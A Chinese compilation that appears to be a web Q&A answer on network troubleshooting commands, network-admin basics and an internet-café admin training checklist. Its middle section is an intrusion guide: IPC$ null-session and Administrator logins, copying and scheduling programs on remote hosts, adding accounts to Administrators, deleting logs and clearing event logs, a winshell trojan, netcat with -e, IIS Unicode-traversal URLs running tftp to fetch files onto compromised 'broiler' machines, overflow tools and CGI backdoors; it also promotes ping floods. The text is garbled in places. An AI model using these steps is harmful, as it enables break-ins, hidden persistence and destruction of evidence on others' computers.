排除一些网络故障的常用命令？

常用命令集锦

一、 ping

网管使用最频的当是ping命令，它不仅可以检查网络是否连通，还有益于分析判断网络故障。其常用方法有：

1. ping本机IP

本机始终都是应该对该ping命令作出应答，如没有，则表示本地配置或安装存在问题。出现此问题时，局域网用户可断开网缆，然后重新发送该命令：如果网线断开后本命令正确，则表示另一机子可能配置了相同的IP地址。这里显示的TTL（Time To Live存在时间），表示数据包已通过的路由器数量。

2. ping网关IP

命令应答如果正确，表示局域网中的网关路由器正在正常运行

3. ping远程IP

如果收到4个应答，表示成功的使用了缺省网关。对于拨号上网用户则表示能够成功的访问Internet(但不排除ISP的DNS会有问题)。

4. ping局域网内其他IP

该命令将会经过网卡及网缆到达其他机器后再返回。收到回送应答表明本地网络中的网卡和载体运行正确；但若收到0个回送应答，那么表示子网掩码（进行子网分割时，将IP地址的网络部分与主机部分分开的代码）不正确或毕局网卡配置错误或电缆系统有问题。

5. ping localhost

localhost是系统的网络保留名，它是127.0.0.1的别名，每台机器都能将该名字转换成该地址。

6. ping www.xxx.com（如www.sina.com）

对这个域名执行Ping www.xxx..com地址，通常是通过DNS服务器。如果出现故障，则表示DNS服务器的IP地址配置不正确或DNS服务器有故障。

简言之，如果ping运行正确，我们大体上就可以排除网络访问层、网卡、Modem的输入输出线路、电缆和路由器等存在的故障，从而减小了问题的范围。但由于可以自定义所发数据报的大小及无休止的告诉发送，ping也被某些别有用心的人作为DDOS（拒绝服务攻击）的工具，例如许多大型的网站就是被黑客利用数百台可以告诉介入互联网的电脑连续发送大量ping数据报而瘫痪的。

二、 Netstat

Netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。

1. netstat-s

本命令能按照各协议分别显示其统计数据。如果我们的应用程序或浏览器运行速度较慢，或者不能显示Web页之类的数据，那么我们就可以用本选项来查看所显示的信息。

2. netstat-e

用于显示以太网统计数据。它列出了发送和接收端的数据报数量，包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量，可用来统计基本的网流量。

3. netstat-r

可显示路由表信息

4. netstat-a

显示所有有效连接信息列表，包括茄闹已建立连接（ESTABLISHED）与监听连接请求（LISTENING）的连接。

三、 IPConfig

IPConfig用于显示当前TCP/IP配置。如果我们的机子和所在局域网使用了动态主机配置协议（DHCP），这时IPConfig可以让我们了解自己的计算机是否成功的租用到一个IP地址，如果租用到则可以了解它目前分配到的是什么地址。了解机器当前IP地址、子网掩码和缺省网关实际上有利于测试和分析故障。

1. ipconfig

它显示每个已经配置的接口的IP地址、子网掩码和缺省网关值。

2. ipconfig/all

当使用all选项时，IPConfig能为DNS和WINS服务器显示它已经配置且所要使用的附加信息颤数罩（如IP地址等），并且显示内置于本地网卡中的物理地址（MAC）。

四、 ARP

ARP(地址转换协议)是一个重要的TCP/IP协议，用于确定对应IP地址的网卡物理地址。ARP命令能够查看本地或另一台计算机的ARP高速缓存中的当前内容。

1. arp-a或arp-g

用于查看高速缓存中的所有项目。

2. arp-a IP

如果我们有多个网卡，那么使用arp-a加上接口的IP地址，就可以只显示与该接口相关的ARP缓存项目。

五、 Tracert

如果网络连通有问题，可用tracert检查到达的目标IP地址的路径并记录结果。Tracert的使用很简单，只需要再Tracert后面跟一个IP地址或URL，Tracert一般用来检测故障的位置，我们可以用“tracert IP”确定在哪个环节上出了问题。

六、 Route

大多数主机一般都是驻留在只连接一台路由器的网段上。由于只有一台路由器，一次不存在使用哪一台路由器将数据报发表到远程计算机的问题，该路由器的IP地址可作为该网段上所有计算机的缺省网关输入。

但是，当网络上拥有两个或多个路由器时，我们就不一定想只依赖缺省网关了。实际上我们可能想让我们的某些远程IP地址通过某个特定的路由器来传递，而其他的远程IP则通过另一个路由器来传递。Route print命令用于显示路由表中的当前项目，在单路由器网段上的输出。

七、 NBTStat

本命令可释放和刷新NetBIOS名称。运用NetBIOS，我们可以查看本地计算机或远程计算机上的NetBIOS名字表格。

1. nbtstat-n

显示寄存在本地的名字和服务程序。

2. nbtstat-c

用于显示NetBIOS名字高速缓存的内容。NetBIOS名字高速缓存用于存放与本计算机最近进行通信的其他计算机的NetBIOS名字和IP地址对。

3. nbtstat-r

用于清除和重新加载NetBIOS名字高速缓存。

4. nbtstat-a IP

通过IP显示另一台计算机的物理地址和名字列表，我们所显示的内容就像对方计算机自己运行nbtstat-n一样。

5. nbtstat-s IP

显示使用其IP地址的另一台计算机的NetBIOS连接表。

八、 设置共享的命令

1. net share

查看机器的共享资源。

2. 手工删除共享

Net share c$ /d

Net share d$ /d

Net share ipc$ /d

Net share admin$ /d

3．增加一个共享

C:net share mymovie=e:downloadsmovie/users:l

增加mymovie共享，同时限制链接用户数为1人。

1.与远程主机建立空管连接 net use \IP地址ipc$ "" /use:""

以管理员身份登录远程主机 net use \IP地址ipc$ "密码" /use:"Administrator"

传送文件到远程主机WINNT目录下copy 本机目录路径程序 \IP地址admin$

查看远程主机时间 net time \IP地址

定时启动某个程序 at \IP地址 02:18 readme.exe

查看共享 net view \IP地址

查看netbios工作组列表 nBTstat -A IP地址

将远程主机C盘映射为自己的F盘 net use f: \IP地址c$ ""/user:"Administrator"

这两条把自己增加到管理员组： net user 用户名 密码 /add

net locaLGroup Administrators 用户名 /add

断开连接 net use \IP地址ipc$ /delete

扫尾：

del C:winntsystem32logfiles*.*

del C:winntssytem32config*.evt

del C:winntsystem32dTCLog*.*

del C:winntsystem32*.log

del C:winntsystem32*.txt

del C:winnt*.txt

del C:winnt*.log

一、netsvc.exe

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：

netsvc /list \IP地址

netsvc schedule \IP地址 /query

netsvc \IP地址 schedule /start

二、OpenTelnet.exe

远程启动主机的Telnet服务世誉册，并绑定端口到7878，例如：

OpenTelnet \IP地址 用户名 密码 1 7878

然后就可以telnet到主机的7878端口，进入DOS方式下：

telnet IP地址 7878

三、winshell.exe

一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：

p Path （查看winshell主程序的路径信息）

b reBoot （重新启动机器）

d shutDown （关闭机器）

s Shell （执行搜宏后你就会看到可爱的“C:>”）

x eXit （退出本次登录会话，此命令并不终止winshell的运行）

CMD>http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）

四、3389登陆器，GUI方式登录远程主机的

五、elsave.exe

事件日志清除工具

elsave -s \IP地址 -l "application" -C

elsave -s \IP地址 -l "system" -C

elsave -s \IP地址 -l "security" -C

执行后成功清除应用程序日志，系统日志，安全日志

六、hbulot.exe

开启win2kserver和winxp的3389服务

hbulot （/r）

七、nc.exe(netcat.exe)

一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。

想要连接到某处: nc （-options） hostname port（s）（ports） ...

绑定端口等待连接: nc -l -p port （-options） （hostname） （port）

参数:

-e prog 程序重定向，一旦连接，就执行 （危险!）

-g gateway source-routing hop point（s）, up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助虚察信息

-i secs 延时的间隔

-l 监听模式，用于入站连接

-n 指定数字的IP地址，不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

八、TFTPD32.EXE

把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名

然后可以直接令文件运行：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exe是IIS的printer远程缓冲区溢出工具

idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接.

2.ping

它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的 *** 作系统等。下面就来看看它的一些常用的 *** 作。先看看帮助吧，在DOS窗口中键入：ping/?回车，。所示的帮助画面。在此，我们只掌握一些基本的很有用的参数就可以了（下同）。

-t表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。

-l定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。

-n定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。

说明一下，如果-t参数和-n参数一起使用，ping命令就以放在后面的参数为标准，比如“pingIP-t-n3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping3次。另外，ping命令不一定非得pingIP，也可以直接ping主机域名，这样就可以得到主机的IP。

下面我们举个例子来说明一下具体用法。

这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小。从TTL的返回值可以初步判断被ping主机的 *** 作系统，之所以说“初步判断”是因为这个值是可以修改的。这里TTL=32表示 *** 作系统可能是win98。

（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）

至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就*大家自己发挥了。

3.nbtstat

该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。

-a使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息（下同）。

-A这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。

-n列出本地机器的NETBIOS信息。

当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。

我就先写这么多了.

网管必备之十问十答

今天,随着计算机的广泛应用和网络的流行,越来越多的单位和部门开始引入计算机网络管理,从而相应的需要更多的优秀网管.已有几年“脑龄"的你是不是也有成为网管的雄心壮志?在你成为一名合格的网管前,你必须先把下面的十个问题弄清楚。如果连这些最基本的网管知识你都不具备的话,那你怎么能不补这堂课呢?

★计算机网络是什么?

这是首先必须解决的一个问题,绝对是核心概念.我们讲的计算机网络,其实就是利用通讯设备和线路将地理位置不同的、功能独立的多个计算机系统互连起来,以功能完善的网络软件(即网络通信协议、信息交枝丛换方式及网络 *** 作系统等)实现网络中资源共享和信息传递的系统。它的功能最主要的表现在两个方面:一是实现资源共享(包括硬件资源和软件资源的共享)二是在用户之间交换信息。计算机网络的作用是:不仅使分散在网络各处的计算机能共享网上的所有资源,并且为用户提供强有力的通信手段和尽可能完善的服务,从而极大的方便用户。从网管的角度来讲,说白了就是运用技术手段实现网络间的信息传递,同时为用户提供服务。

★计算机网络由哪几个部分组成?

计算机网络通常由三个部分组成,它们是资源子网、通信子网和通信协议.所谓通信子网就是计算机网络中负责数据通信的部分资源子网是计算机网络中面向用户的部分,负责全网络面向应用的数据处理工作而通信双方必须共同遵守的规则和约定就称为通信协议,它的存在与否是计算机网络与一般计算机互连系统的根本区别。所以从这一点上来说,我们应该更能明白计算机网络为什么是计算机技术和通信技术发展的产物了。

★计算机网络的种类怎么划分?

现在最常见的划分方法是:按计算机网络覆盖的地理范围的大小,一般分为广域网(WAN)和局域网(LAN)(也有的划分再增加一李扮个城域网(MAN))。顾名思义，所谓广域网无非就是地理上距离较远的网络连接形式,例如著名的Internet网,Chinanet网就是典型的广域网。而一个局域网的范围通常不超过10公里,并且经常限于一个单一的建筑物或一组相距很近的建筑物.Novell网是目前最流行的计算机局域网。

★计算机网络的体系结构是什么?

在计算机网络技术中,网络的体系结构指的是通信系统的整体设计,它的目的是为网络硬件、软件、协议、存取控制和拓扑提供标准.现在广泛采用的是开放系统互连OSI(Open System Interconnection)的参考模型,它是用物理层、数据链路层、网络层、传送层、对话层、表示层和应用层七个层次描述网络的结构.你应该注意的是,网络哪搭灶体系结构的优劣将直接影响总线、接口和网络的性能.而网络体系结构的关键要素恰恰就是协议和拓扑。目前最常见的网络体系结构有FDDI、以太网、令牌环网和快速以太网等。

★计算机网络的协议是什么?

刚才说过网络体系结构的关键要素之一就是网络协议。而所谓协议(Protocol)就是对数据格式和计算机之间交换数据时必须遵守的规则的正式描述，它的作用和普通话的作用如出一辙。依据网络的不同通常使用Ethernet(以太网)、NetBEUI、IPX/SPX以及TCP/IP协议。Ethernet是总线型协议中最常见的网络低层协议,安装容易且造价便宜而NetBEUI可以说是专为小型局域网设计的网络协议。对那些无需跨经路由器与大型主机通信的小型局域网,安装NetBEUI协议就足够了,但如果需要路由到另外的局域网,就必须安装IPX/SPX或TCP/IP协议.前者几乎成了Novell网的代名词,而后者就被著名的Internet网所采用.特别是TCP/IP(传输控制协议/网间协议)就是开放系统互连协议中最早的协议之一,也是目前最完全和应用最广的协议,能实现各种不同计算机平台之间的连接、交流和通信。

★计算机网络的拓扑结构是什么?

计算机网络的拓扑结构是指网络中各个站点相互连接的形式,在局域网中明确一点讲就是文件服务器、工作站和电缆等的连接形式.现在最主要的拓扑结构有总线型拓扑、星型拓扑、环型拓扑以及它们的混合型。顾名思义,总线型其实就是将文件服务器和工作站都连在称为总线的一条公共电缆上,且总线两端必须有终结器星型拓扑则是以一台设备作为中央连接点,各工作站都与它直接相连形成星型而环型拓扑就是将所有站点彼此串行连接,像链子一样构成一个环形回路把这三种最基本的拓扑结构混合起来运用自然就是混合型了。

★计算机网络建设中涉及到哪些硬件?

计算机网络的硬件系统通常由五部分组成:文件服务器、工作站(包括终端)、传输介质、网络连接硬件和外部设备。文件服务器一般要求是配备了高性能CPU系统的微机,它充当网络的核心。除了管理整个网络上的事务外,它还必须提供各种资源和服务。而工作站可以说是一种智能型终端,它从文件服务器取出程序和数据后,能在本站进行处理,一般有有盘和无盘之分。接下来谈谈传输介质,它是通信网络中发送方和接受方之间的物理通路,在局域网中就是用来连接服务器和工作站的电缆线.目前常用的网络传输介质有双绞线(多用于局域网)、同轴电缆和光缆等.常用的网络连接硬件有网络接口卡(NIC)、集线器(HUB)、中继器(Repeater)以及调制解调器(Modem)等。而打印机、扫描仪、绘图仪以及其它任何可为工作站共享的设备都能被称为外部设备。

★计算机网络一般都装哪些 *** 作系统?

我们都知道,网络 *** 作系统是整个网络的灵魂,同时也是分布式处理系统的重要体现,它决定了网络的功能并由此决定了不同网络的应用领域即方向。目前比较流行的网络 *** 作系统主要有Unix、NetWare、Windows NT和新兴流行的Linux.Unix历史悠久,发展到今天已经相当成熟,尤其以安全可靠和应用广泛著称相比之下,NetWare以文件服务及打印管理闻名,而且其目录服务可以说是被业界公认的目录管理杰作Windows NT是能支持多种硬件平台的真正的32位 *** 作系统,它保持了深受欢迎的Windows用户界面,目前正被越来越多的网络所应用而最新的Linux凭借其先进的设计思想和自由软件的身分正跻身优秀网络 *** 作系统的行列。

★计算机网络未来的发展趋势如何?

未来网络的发展有三种基本的技术趋势.一是朝着低成本微机所带来的分布式计算和智能化方向发展,即Client/Server(客户/服务器)结构二是向适应多媒体通信、移动通信结构发展三是网络结构适应网络互连,扩大规模以至于建立全球网络。

★计算机网管的具体业务有哪些?

概括的说网管的业务内容有三个方面:网络建设、网络维护和网络服务。组建局域网(包括规划拓扑结构、物理硬件实现和网络协议设置)、新增或升级网络设备以及规划网络发展就是网络建设的具体内容而一般的网络维护则包括网络故障检测和维修(包括硬件和软件),网络安全的防护和管理至于网络服务则完全可以根据各种网络目的的不同而有所区别,但最常见的都有远程登陆、文件传输、电子邮件和资源共享等,当然也可以侧重一到几个方面.另外,像网站中主页的制作与更新,BBS站台的建设与管理等等也都可纳入网管的业务范围.总之,所谓"网管"顾名思义就是建设并管理网络的人员,他们的工作和任务就如同大酒店的员工一样,通过经营好酒店来款待从四面八方来的朋友。

优秀的网管没有不说网管这项工作苦的,但如果你肯花时间、下功夫,你说不定也能做得与华军和高春辉一样出色.不过,在你成为优秀的网管前,可千万要把今天讲的这十个问题弄清楚噢!

网管培训初级教程

1、播放器，设置,熟悉使用（Realplay winmap windows Media play等 网际飞音） *

2、视频设置，各种硬件驱动程序的安装， *

3、熟练使用baidu google网站搜索引擎 *

4、掌握常见网络游戏的账号申请 *

5、电子邮件的收发、账号的申请、附件的下载保存 *

6、文档打印、选定范围打印

7、语音聊天网站的进入方法及其设置（耳麦、网站等设置） *

8、熟悉系统目录（网络游戏、局域网游戏及其他软件的路径） *

9、使用多方在线销售系统 *

10、网络游戏的在线冲值 *** 作 *

11、游戏的一般设置（显示比例、模式、存档、游戏在线更新） *

12、了解网络游戏的外挂（下载、设置、使用、更新） *

13、局域网游戏连网设置，存档，调档 *

14、网络游戏的安装、更新，（自动更新、手动更新方法注意路径） *

15、私服游戏（下载，安装，添加IP、服务器，）请遵守安装路径,以及游戏文件损坏后 从服务器恢复文件 *

16、常用聊天工具，如：QQ 、MSN、 ICQ 、YAHO通、E话通、UC、 Shouq 等软件的使用、设置，了解这些软件的基本功能 *

17、使用Total command文件管理器，也解该软件的功能和常见设置 *

18、使用命令：cmd、sysdm.cpl 、mmsysdm.cpl、devmgmt.msc、appwiz.cpl 、ncpa.cpl 、ipconfig /all、 msconfig 、regedit、 gpedit.msc、services.msc *

19、游戏中输入法的切换（泡泡堂游戏中输入法的切换，输入法设置快捷键、使用补丁后无需设置的方法，但必需在注册表中将abc输入法置首位） *

20,、浩方对战游戏平台的使用，设置游戏路径 *

21、IE的编码，韩文、日文的添加。如何翻译网页乱码（编码调整） *

22、使用虚拟光驱，制作镜像文件 *

23、客机上的各个软件的使用方法（word excel 等） *

24、区分硬盘，主板，机箱螺丝。硬盘安装，拆卸，主IDE的区分，主盘跳线，从盘跳线，安装硬盘风扇 ) *

25、键盘，鼠标设置（鼠标属性设置，双击速度，指针移动速度，滚轮设置） *

26、电脑硬件，键盘鼠标小问题的解决，显示器水平垂直设置，调整，消磁，亮度，色温 *

网管培训进阶教程

28、显卡拆卸，更换风扇，

29、CPU的拆卸，更换风扇，

30、主板电源线，硬盘灯，报警线，重起按钮线，的正确接法，（查看主板说明）

31、Ghost的使用，网络，点对点，硬盘对拷，必需在有dhcp的情况下 ,可以正确的知道各种网卡在dos下的驱动使用 如(*.com 0x66)8139网卡要是任务名出错,用8139.com -u卸载驱动后在执行 8139.com 0x66 无需重起

32、DHCP服务器的安装、设置，注意配置DHCP时候，千万不要配置正在使用的IP地址段以免发生冲突.

33、Helix Server服务器的设置、安装、IP绑定，加载点的配置(注意：如果服务器有2个IP要在IP邦定这里添加服务器除127.0.0.1外的IP否则会不正常

34、Deepfreeze的安装、卸载、禁用、启用、设置密码

35、更改计算机名、IP地址、网关、DNS、WINS，以及清楚hosts lmhost文件的作用.

36、应用winRAR制作自解压包，应用批处理制作自动更新，

37、使用net use 映射盘符，使用mstsc远程控制

38、下载文件、上传文件，flashget、 flashfxp、bt等下载工具的使用方法

39、了解杀毒软件的基本 *** 作，(杀毒服务器的设置)

40、能熟练运用HLSW来控制CS服务器

41、CMOS常用设置(关闭软驱 、显卡初始化模式设置、设置BIOS密码、关闭无用的端口、电源管理设置、CPU工作状态查看)

42、熟悉分区工具Fdisk，DM，PQmagic的使用，至少精通两种

43、各种 *** 作系统下启动盘的制作。

44、服务器文件共享设置，权限设置(安全权限、共享权限、磁盘配额)

45、客户机的权限修改（安装一些驱动时，组策略的应用）

46、网线水晶头排线（568A和568B接线标准）

47、使用sconfig ST文件传输精灵，

48、 删除隐藏的硬件信息，（set devmgr_show_nonpresent_devices=1 ）

49、Server-U FTP的安装及权限设置，熟悉基本配置

50、光盘刻录（刻录软件的安装、制作光盘镜像，刻录ISO文件、刻录文件）

51、扫描仪的使用（扫描仪硬件的安装连接、驱动安装、扫描选项设置、图片的保存）

52、打印机：安装打印机硬件和驱动程序，如何添加网络打印机，建立打印任务，更换墨盒

53、Pubwin服务端的基本设置、会员资料备份

54、办理会员，录入会员资料，熟悉办理会员的流程和手续

55、Net 110实名制软件的安装、使用，日志文件备份

56、Pubwin服务器备份服务器的设置、配置、出现故障时如何更换服务器

57、VOD服务器安装、调试、设置、 遵守规则.

58、File文件服务器的安装、调试、设置， 遵守规则.

59、GameSoft服务器的安装、调试、设置、 遵守规则.

60、熟悉网络中IP地址的使用规则，子网掩的配置和修改

61、交换机、集线器、路由器等网络设备的简单维护，能使用一些路由器的简单维护命令和查看命令

我认为下面应该加上

01、电脑的组装及能迅速排除电脑日常的软、硬件故障。

02、能根据需求建立合理的企业网络系统(局域网、广域网)，并能做方案。

03、计算机的安全维护。（计算机病毒防治和防火墙的应用）。

04、对企业的数据的管理和维护（数据的备份和恢复）。

05、熟悉各种网络外设的应用（路由器，网络交换机，集线器，MODEN，电话交换机等用）。

06、熟悉结构化综合布线系统设计及应用，并能可做方案。

07、熟悉INTERNET的接入应用。（DDN，ADSL，ISDN，等）。

08、熟悉子网的划分及TCP/IP协议配置，对IIS、DNS、WINS、DHCP建立管理等。

09、电脑流媒体技术和视频会议应用。

10、对游戏、外挂更新有几乎完美得解决方案。

11、能独立制作各类游戏（MU、传奇2、3、CS等）、电影、WEB、FTP、E-MAIL服务器。

12、熟悉无盘、有盘、有盘无盘共存网吧系统和解决方案。

13、对于网吧的管理和经营有较深得认识。

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